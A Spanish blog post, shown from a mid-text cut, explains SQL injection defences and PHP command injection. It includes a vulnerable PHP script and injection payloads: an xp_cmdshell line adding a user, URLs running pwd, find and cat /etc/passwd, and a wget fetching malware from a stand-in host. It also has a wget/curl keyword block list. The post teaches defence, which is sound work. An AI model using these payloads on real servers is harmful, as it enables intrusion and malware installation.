Pero esto no es lo peor. Lo peor será <span style="background-color: white;">el usuario utilice estos trucos de inyección de SQL para ejecutar </span><span style="background-color: white;">código arbitrario en nuestro servidor. Sentencias DDL, cambiar permisos, </span><span style="background-color: white;">utilizar procedimientos almacenados y un largo etcétera. Qué ocurriría </span><span style="background-color: white;">si alguien escribiese de contraseña cosas como:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
' exec master..xp_cmdshell 'net user test /ADD' – <span style="background-color: white;">Como evitarlo:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Y ahora lo más importante, ¿qué <span style="background-color: white;">podemos hacer para evitar estos errores?</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Pues hay varios sistemas para evitarlo. Por ejemplo podemos filtrar las entradas <span style="background-color: white;">de los usuarios reemplazando la aparición de ‘ por ‘’ </span><span style="background-color: white;">(dos comillas simples) e incluso evitando que los usuarios puedan pasar caracteres </span><span style="background-color: white;">como \ / “ ‘ o cualquier otro que se nos ocurra que puede causar </span><span style="background-color: white;">problemas. Estos filtros pueden ser tan sencillos como utilizar la sentencia </span><span style="background-color: white;">replace de Visual Basic:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
SSQL= "SELECT count(*) FROM Usuarios WHERE Usuario = '" & Replace</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
txtUsuario.Text, "'", "''") & "' AND password='" & Replace</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
(txtPassword.Text, "'", "''") & "'"</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Otro factor importante en cuanto a la seguridad <span style="background-color: white;">es limitar al máximo los permisos del usuario que ejecuta estas sentencias </span><span style="background-color: white;">para evitar posibles problemas. Por ejemplo utilizando un usuario distinto para</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
las sentencias SELECT, DELETE, UPDATE y asegurándonos que cada ejecución <span style="background-color: white;">de una sentencia ejecute una sentencia del tipo permitido. </span><span style="background-color: white;">Por supuesto utilizar el usuario ‘sa’ </span><span style="background-color: white;">o uno que pertenezca al rol ‘db_owner’ para ejecutar las sentencias </span><span style="background-color: white;">de uso habitual de la base de datos debería quedar descartado.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Una solución definitiva sería trabajar con procedimientos almacenados.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
El modo en el que se pasan los parámetros a los procedimientos almacenados</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
evita que la inyección SQL pueda ser usada. Por ejemplo utilizando el <span style="background-color: white;">siguiente procedimiento almacenado:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
CREATE Procedure Validar @usuario varchar(50), @password varchar(50)</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
AS</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt;">
</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
If (SELECT Count(*) FROM Usuarios WHERE Usuario=@Usuario and Password=@password)>0</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Return 1</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Return 0</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
También deberíamos validar los <span style="background-color: white;">datos que introduce el usuario teniendo en cuenta por ejemplo la longitud de </span><span style="background-color: white;">los campos y el tipo de datos aceptados. Esto lo podemos hacer en el cliente </span><span style="background-color: white;">con los RegularExpressionValidator o con los CustomValidators del VB.NET. De </span><span style="background-color: white;">todos modos si la seguridad es importante todas estas validaciones hay que repetirlas </span><span style="background-color: white;">en el servidor.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Por ultimo, y ya que estamos pensando en entornos <span style="background-color: white;">Web, podemos programar en ASP.NET y utilizar siempre que sea posible las clases </span><span style="background-color: white;">System.Web.Security.FormsAuthentication para que los usuarios entren en nuestras </span><span style="background-color: white;">aplicaciones Web.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>ATAQUE POR INYECCION DE COMANDOS EN PHP</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como system, exec, etc.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Estas funciones tiene la facultad de ejecutar desde php comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una inyección de código y ejecutar comandos arbitratiamente en el servidor.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Un ejemplo práctico:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Este programa lo que hace es tomar una variable por médoto get (también aplica para post con los cambios necesarios) y crea un directorio</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<?</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
if (trim($_GET['directorio'])!=NULL) {</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
system ("mkdir {$_GET['directorio']}");</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
echo "directorio creado {$_GET['directorio']}";</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
}</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
else</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
echo "directorio vacio";</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
?></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>NOTA IMPORTANTE: </b>Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.<span style="background-color: white;"> </span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
En la url del navegador se escribirá algo como sigue:<span style="background-color: white;"> </span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
http://misitio.net/dirs/script.php?directorio=directorionuevo</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
("directorionuevo" es el directorio recién creado)<span style="background-color: white;"> </span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
En la línea del código:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
system ("mkdir {$_GET['directorio']}");</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
se ejecuta un comando de sistema operativo con la función system para crear el directorio.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Si sustituitmos la ejecución del script desde el navegador en la función system tendremos:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
mkdir directorionuevo</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Nosotros sabemos que en linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
mkdir directorionuevo; pwd</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Bien, ahora nosotros podemos hacer lo mismo desde la url del navegador:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
con esto nos creará el directorio "directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el script (comando pwd).</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
/var/www/html/dirs/</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Nota:</b> El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque brute force:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Solución:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Aquí presentamos algunas soluciones:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
•En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
•No usar:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
funciones<span style="background-color: white;">shell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
•Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
•Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
•Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<?</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
foreach ($_GET as $variable => $valor)</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
if (eregi("wget |curl |GET ", $valor)) {</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
exit</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
}</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
?></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.</div>
<br />
<div style="text-align: justify;">
<br /></div>
<div>
<div style="text-align: justify;">
<b>BIBLIOGRAFIA:</b></div>
<div style="text-align: justify;">
<b>Libros y otros manuscritos</b></div>
<div style="text-align: justify;">
•ARTE Y CIENCIA DEL DISEÑO WEB. Jeffrey Veen, Editorial Pearson Alhambra. 2001.</div>
<div style="text-align: justify;">
•HTML La guía completa Musciano y Kennedy, Editorial Mc Graw Hill. 1999.</div>
<div style="text-align: justify;">
•Manual de Estilo Web -Patrick J. Lynch, Editorial Gustavo Gili. 2004.</div>
<div style="text-align: justify;">
•Introducción a CSS - Javier Eguíluz Pérez, licencia Creative Commons. 2007.</div>
<div style="text-align: justify;">
•Curso de CSS - Christopher Schmitt, Editorial Anaya / O´Reilly. 2007.</div>
<div style="text-align: justify;">
•CSS Manual Avanzado - Andy Budd, Cameron Moll, Simon Collison, Editorial Anaya. 2007.</div>
<div style="text-align: justify;">
•Curso de Programación PHP - Francisco Minera, Editorial USERS. 2008.</div>
<div style="text-align: justify;">
•Creación y Diseño Web profesional - Jennifer Niederts Robbins, Editorial O´Reilly. 2008.</div>
<div style="text-align: justify;">
•PHP y MySQL - Jacobo Pavón Puertas, Editorial Alfaomega. 2008.</div>
<div style="text-align: justify;">
•PHP 6 - Francisco Minera, Editorial USERS. 2010.</div>
<div style="text-align: justify;">
•Manual de referencia PHP - Steven Holzner, Editorial Mc Graw Hill. 2009.</div>
<div style="text-align: justify;">
•PHP Master - Francisco Minera, Editorial USERS. 2008.</div>
<div style="text-align: justify;">
•Domine PHP 5 - José Lopez Quijado, Editorial Alfaomega. 2008.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b>Entre Otros</b>.</div>
<div style="text-align: justify;">
Sitios web pertinentes:</div>
<div style="text-align: justify;">
•www.desarrolloweb.com</div>
<div style="text-align: justify;">
•www.programacion.com</div>
<div style="text-align: justify;">
•www.webtaller.com.ar</div>
<div style="text-align: justify;">
•www.webexperto.com</div>
<div style="text-align: justify;">
•www.phpya.com.ar</div>
<div style="text-align: justify;">
•www.htmlya.com.ar</div>
<div style="text-align: justify;">
•www.cssya.com.ar</div>
<div style="text-align: justify;">
•www.php.net</div>
</div>
<br />
<br />
<div style="text-align: justify;">
<br /></div>
<br />CESAR VERGARAhttp://www.blogger.com/profile/07181623382383946320noreply@blogger.com3